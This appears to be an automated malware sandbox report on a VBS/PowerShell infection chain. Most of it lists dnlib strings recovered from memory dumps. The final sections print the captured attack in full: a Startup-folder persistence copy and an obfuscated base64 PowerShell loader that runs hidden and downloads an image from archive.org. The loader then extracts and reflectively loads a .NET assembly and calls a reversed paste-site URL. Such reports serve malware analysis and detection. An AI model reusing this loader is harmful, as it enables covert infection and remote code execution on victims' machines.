Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17 source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000008.00000002.1769352732.00007FFB4A210000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("cmd.exe /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Co", "0", "true");IHost.FullName();IWshShell3.CurrentDirectory();IHost.ScriptName();IWshShell3.SpecialFolders("Startup");IFileSystem3.FileExists("C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\figurante.vbs");IFileSystem3.CopyFile("C:\Windows\system32\Logistics1.vbs", "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\figurante.vbs");IWshShell3.Run("cmd.exe /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Co", "0", "true");IWshShell3.Run("powershell -command $Codigo = 'KCgnezF9aW1hZ2VVcmwgPSAnKyd7MCcrJ31odHRwczo", "0", "false")

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: $Codigo = 'KCgnezF9aW1hZ2VVcmwgPSAnKyd7MCcrJ31odHRwczovL2lhNjAwMTAyLnVzLmFyY2hpdmUub3JnLzMyL2l0ZW1zL2RldGFoLW5vdGUtdl8nKycyMDI0MTAvRGV0YWhOb3RlX1YuanBnIHswfTt7MX13ZWJDbGllbnQgPSAnKydOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O3sxfWltYWdlQnl0ZXMgPSB7MX13ZWJDbGllbnQuRG93bmxvYWREYXRhKHsxfWltYWdlVXInKydsKTt7MX1pbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmcnKyddOjpVVEY4LkdldFN0cmluZygnKyd7MX1pbWFnZUJ5dGVzKTsnKyd7MX1zdGFydEZsYWcnKycgPSB7MH08JysnPEJBU0U2NF9TVEEnKydSVD4+ezAnKyd9O3sxfWVuZEZsYWcgPSB7MH08PEJBU0U2NF9FTkQ+PnsnKycwfTt7MX1zdCcrJ2FydEluZGV4ID0gezF9aW1hZ2VUZXh0LkluZGV4T2YoezF9c3RhcnRGbGFnKTt7MX1lbmRJbmRleCA9ICcrJ3sxfWltYWdlVGV4dC5JbmRleE9mKHsxfScrJ2VuZEZsYWcpO3sxfXN0YXJ0SW5kZXggLWdlIDAgLWFuZCB7MX1lbmRJbmRleCAtZ3QgezF9c3RhcnRJbmRleDt7MX1zdGFydEluZGV4ICs9IHsxfXN0YXJ0RmxhZy5MZW5ndGg7ezF9YmFzZTY0TGVuZ3RoID0gezF9ZW5kSW5kZXggLSB7MX1zJysndGFydEluZGV4O3sxfScrJ2JhJysncycrJ2U2NENvbW0nKydhbmQgPSB7MX1pbWFnZVRleHQuUycrJ3Vic3RyaW5nKHsxfXN0YXJ0SW5kZXgsIHsxfWJhc2U2NExlbmd0aCk7ezF9Y29tbWFuZEJ5dCcrJ2VzJysnID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh7MX1iYXNlNjRDb21tYW5kKTt7MX1sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbCcrJ2VjdGlvbi5Bc3NlbWInKydseV06OkxvYWQoezF9Y29tbWFuZEJ5dGVzKTt7MX12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHswfVZBSXswfScrJyk7ezF9dmFpTWV0aG9kLkludm9rZSh7MX1udScrJ2xsLCBAKHswfTAvMkdmMkEvZC9lZS5ldHNhcC8vOnNwdHRoezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MCcrJ31kZScrJ3NhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH0xezB9LCB7MH1hcHBpZHRlbHswfSkpOycpIC1mW0NIQVJdMzksW0NIQVJdMzYpfC4oIChbc3RyaU5nXSR2ZVJCb3NlUHJFZkVyZW5jRSlbMSwzXSsneCctSm9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?

Obfuscated command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{1}imageUrl = '+'{0'+'}https://ia600102.us.archive.org/32/items/detah-note-v_'+'202410/DetahNote_V.jpg {0};{1}webClient = '+'New-Object System.Net.WebClient;{1}imageBytes = {1}webClient.DownloadData({1}imageUr'+'l);{1}imageText = [System.Text.Encoding'+']::UTF8.GetString('+'{1}imageBytes);'+'{1}startFlag'+' = {0}<'+'<BASE64_STA'+'RT>>{0'+'};{1}endFlag = {0}<<BASE64_END>>{'+'0};{1}st'+'artIndex = {1}imageText.IndexOf({1}startFlag);{1}endIndex = '+'{1}imageText.IndexOf({1}'+'endFlag);{1}startIndex -ge 0 -and {1}endIndex -gt {1}startIndex;{1}startIndex += {1}startFlag.Length;{1}base64Length = {1}endIndex - {1}s'+'tartIndex;{1}'+'ba'+'s'+'e64Comm'+'and = {1}imageText.S'+'ubstring({1}startIndex, {1}base64Length);{1}commandByt'+'es'+' = [System.Convert]::FromBase64String({1}base64Command);{1}loadedAssembly = [System.Refl'+'ection.Assemb'+'ly]::Load({1}commandBytes);{1}vaiMethod = [dnlib.IO.Home].GetMethod({0}VAI{0}'+');{1}vaiMethod.Invoke({1}nu'+'ll, @({0}0/2Gf2A/d/ee.etsap//:sptth{0}, {0}desativado{0}, {0}desativado{0}, {0'+'}de'+'sativado{0}, {0}desativado{0}, {0}1{0}, {0}appidtel{0}));') -f[CHAR]39,[CHAR]36)\|.( ([striNg]$veRBosePrEfErencE)[1,3]+'x'-JoiN'')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{1}imageUrl = '+'{0'+'}https://ia600102.us.archive.org/32/items/detah-note-v_'+'202410/DetahNote_V.jpg {0};{1}webClient = '+'New-Object System.Net.WebClient;{1}imageBytes = {1}webClient.DownloadData({1}imageUr'+'l);{1}imageText = [System.Text.Encoding'+']::UTF8.GetString('+'{1}imageBytes);'+'{1}startFlag'+' = {0}<'+'<BASE64_STA'+'RT>>{0'+'};{1}endFlag = {0}<<BASE64_END>>{'+'0};{1}st'+'artIndex = {1}imageText.IndexOf({1}startFlag);{1}endIndex = '+'{1}imageText.IndexOf({1}'+'endFlag);{1}startIndex -ge 0 -and {1}endIndex -gt {1}startIndex;{1}startIndex += {1}startFlag.Length;{1}base64Length = {1}endIndex - {1}s'+'tartIndex;{1}'+'ba'+'s'+'e64Comm'+'and = {1}imageText.S'+'ubstring({1}startIndex, {1}base64Length);{1}commandByt'+'es'+' = [System.Convert]::FromBase64String({1}base64Command);{1}loadedAssembly = [System.Refl'+'ection.Assemb'+'ly]::Load({1}commandBytes);{1}vaiMethod = [dnlib.IO.Home].GetMethod({0}VAI{0}'+');{1}vaiMethod.Invoke({1}nu'+'ll, @({0}0/2Gf2A/d/ee.etsap//:sptth{0}, {0}desativado{0}, {0}desativado{0}, {0'+'}de'+'sativado{0}, {0}desativado{0}, {0}1{0}, {0}appidtel{0}));') -f[CHAR]39,[CHAR]36)\|.( ([striNg]$veRBosePrEfErencE)[1,3]+'x'-JoiN'')"			Jump to behavior

Suspicious powershell command line found

